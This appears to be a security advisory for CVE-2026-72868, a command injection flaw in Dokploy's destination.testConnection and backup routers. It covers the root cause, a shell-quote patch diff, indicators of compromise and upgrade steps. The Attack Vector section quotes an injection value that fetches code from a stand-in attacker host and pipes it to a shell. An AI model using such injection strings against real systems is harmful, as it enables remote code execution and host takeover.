CVE-2026-72868: Dokploy Command Injection RCE Vulnerability

CVE-2026-72868 Overview

CVE-2026-72868 is a command injection vulnerability [CWE-78] in Dokploy, a self-hostable Platform as a Service (PaaS). Versions prior to 0.29.13 interpolate untrusted user input from the destination.testConnection mutation directly into an rclone ls command executed through child_process.exec. The accessKey, secretAccessKey, region, endpoint, provider, and bucket fields are passed unescaped to the shell. A low-privileged organization member holding the destination:create permission can close a quoted argument and inject arbitrary shell commands. The Dokploy root container has access to the host Docker socket, giving the attacker a direct path to host compromise.

Critical Impact
Authenticated low-privileged users can execute arbitrary commands inside the Dokploy root container and pivot to full host takeover through the exposed Docker socket.

Affected Products

Dokploy versions prior to 0.29.13
apps/dokploy/server/api/routers/destination.ts router
apps/dokploy/server/api/routers/backup.ts router

Discovery Timeline

2026-08-10 - CVE-2026-72868 published to NVD
2026-08-12 - Last updated in NVD database

Technical Details for CVE-2026-72868

Vulnerability Analysis

Dokploy exposes a tRPC mutation named destination.testConnection that validates remote storage credentials by invoking rclone ls through child_process.exec. The router builds the command string using template literal interpolation of the user-supplied accessKey, secretAccessKey, region, endpoint, provider, and bucket fields. Because exec invokes /bin/sh -c, any shell metacharacter contained in those fields is interpreted by the shell rather than passed literally to rclone.

The mutation is gated by withPermission("destination", "create"), which is granted to standard organization members and not restricted to administrators. Any authenticated collaborator with this permission can reach the sink. The Dokploy container executes as root and mounts /var/run/docker.sock, so command execution inside the container extends to arbitrary container creation on the host.

Root Cause

The root cause is unsafe string interpolation of untrusted input into a shell command. The affected routers did not apply shell escaping or use execFile with an argument array. The upstream fix imports shell-quote and wraps each field with quote() before concatenation.

Attack Vector

An authenticated user submits a destination.testConnection request containing a crafted field value such as "; curl attacker/x | sh; #. The single quote in the assembled rclone ls string terminates early, appends the attacker payload, and comments out the trailing arguments. The shell executes the injected command inside the Dokploy container with root privileges and Docker socket access.

typescript

// Patch: apps/dokploy/server/api/routers/destination.ts
 import { db } from "@dokploy/server/db";
 import { TRPCError } from "@trpc/server";
 import { desc, eq } from "drizzle-orm";
+import { quote } from "shell-quote";
 import { createTRPCRouter, withPermission } from "@/server/api/trpc";
 import { audit } from "@/server/api/utils/audit";
// Source: https://github.com/Dokploy/dokploy/commit/eeb6e7b8ea88e4b4b1fac8460755464100516ac9

The patch introduces shell-quote and applies quote() to every user-supplied argument passed to rclone. The companion change in apps/dokploy/server/api/routers/backup.ts applies the same escaping to backup and restore code paths.

Detection Methods for CVE-2026-72868

Indicators of Compromise

Unexpected child processes spawned by the Dokploy Node.js process, particularly sh -c invocations containing rclone alongside pipes, semicolons, or backticks.
New or unauthorized containers created through the host Docker socket shortly after a destination.testConnection request.
Outbound network connections from the Dokploy container to unknown hosts following storage destination testing.
Anomalous destination.testConnection payloads containing shell metacharacters in accessKey, secretAccessKey, endpoint, or bucket fields.

Detection Strategies

Inspect Dokploy application logs and reverse proxy logs for destination.testConnection mutations submitted by non-administrator accounts.
Correlate process creation telemetry from the Dokploy container against expected rclone command signatures.
Alert on any docker API calls originating from the Dokploy container that create privileged containers or bind-mount host paths.

Monitoring Recommendations

Enable audit logging for tRPC mutations that alter destinations and record the invoking user identity.
Monitor /var/run/docker.sock activity for container create events tied to the Dokploy service account.
Track version drift across Dokploy deployments and flag any host running a release earlier than 0.29.13.

How to Mitigate CVE-2026-72868

Immediate Actions Required

Upgrade Dokploy to version 0.29.13 or later, which introduces shell-quote escaping in the destination and backup routers.
Audit organization membership and revoke the destination:create permission from accounts that do not require it.
Rotate any credentials, API tokens, and S3 keys stored in the Dokploy database, assuming compromise on unpatched hosts.

Patch Information

The fix is delivered in commit eeb6e7b and shipped in Dokploy v0.29.13. Additional detail is available in GHSA-f6x8-vfwh-8hjr and the pull request discussion.

Workarounds

Restrict access to the Dokploy web interface to trusted administrators until the upgrade is applied.
Remove the Docker socket bind mount from the Dokploy container to limit blast radius if command execution occurs.
Place the Dokploy service behind an authenticating reverse proxy and enforce network segmentation from sensitive workloads.

bash

# Upgrade to the patched release
docker pull dokploy/dokploy:0.29.13
docker compose pull dokploy
docker compose up -d dokploy

# Verify the running version
docker exec dokploy cat /app/package.json | grep '"version"'